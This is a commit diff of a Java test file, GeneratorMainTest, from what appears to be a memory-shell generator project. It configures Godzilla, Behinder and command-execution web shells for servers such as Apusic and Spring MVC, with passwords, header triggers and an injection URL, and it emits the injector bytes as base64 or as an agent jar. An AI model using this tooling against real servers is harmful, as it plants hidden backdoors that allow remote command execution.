22
33import com .reajason .javaweb .Server ;
44import com .reajason .javaweb .memshell .config .*;
5- import com .reajason .javaweb .packer .Packers ;
6- import com .reajason .javaweb .packer .jar .JarPacker ;
75import lombok .SneakyThrows ;
86import net .bytebuddy .jar .asm .Opcodes ;
97import org .junit .jupiter .api .Disabled ;
108import org .junit .jupiter .api .Test ;
119
12- import java .nio .file .Files ;
13- import java .nio .file .Paths ;
14-
1510/**
1611 * @author ReaJason
1712 * @since 2025/2/22
@@ -23,21 +18,20 @@ class GeneratorMainTest {
2318 @ Disabled
2419 void test () {
2520 ShellConfig shellConfig = ShellConfig .builder ()
26- .server (Server .SpringWebMvc )
27- .shellTool (ShellTool .Godzilla )
28- .shellType (ShellType .SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET )
21+ .server (Server .Apusic )
22+ .shellTool (ShellTool .Command )
23+ .shellType (ShellType .SERVLET )
2924 .targetJreVersion (Opcodes .V1_8 )
3025 .debug (true )
31- // .shrink(true)
26+ .shrink (true )
3227 .build ();
3328 GodzillaConfig godzillaConfig = GodzillaConfig .builder ()
3429 .pass ("pass" )
3530 .key ("key" )
3631 .headerName ("User-Agent" )
3732 .headerValue ("test123" ).build ();
3833 CommandConfig commandConfig = CommandConfig .builder ()
39- .paramName ("listener" )
40- .encryptor (CommandConfig .Encryptor .DOUBLE_BASE64 )
34+ .paramName ("param" )
4135 .build ();
4236
4337 BehinderConfig behinderConfig = BehinderConfig .builder ()
@@ -49,13 +43,18 @@ void test() {
4943 .headerName ("User-Agent" )
5044 .headerValue ("test" ).build ();
5145
52- InjectorConfig injectorConfig = new InjectorConfig ();
46+ InjectorConfig injectorConfig = InjectorConfig .builder ()
47+ .urlPattern ("/v2" )
48+ .staticInitialize (true )
49+ .build ();
5350
54- MemShellResult generateResult = MemShellGenerator .generate (shellConfig , injectorConfig , godzillaConfig );
51+ MemShellResult generateResult = MemShellGenerator .generate (shellConfig , injectorConfig , commandConfig );
5552 if (generateResult != null ) {
56- Packers .GzipBase64 .getInstance ().pack (generateResult .toClassPackerConfig ());
53+ System .out .println (generateResult .getInjectorClassName ());
54+ System .out .println (generateResult .getInjectorBytesBase64Str ());
55+ // Packers.GzipBase64.getInstance().pack(generateResult.toClassPackerConfig());
5756
58- Files .write (Paths .get ("agent.jar" ), ((JarPacker ) Packers .AgentJar .getInstance ()).packBytes (generateResult .toJarPackerConfig ()));
57+ // Files.write(Paths.get("agent.jar"), ((JarPacker) Packers.ScriptEngineJar .getInstance()).packBytes(generateResult.toJarPackerConfig()));
5958// System.out.println(generateResult.getShellBytes().length);
6059// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
6160// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
0 commit comments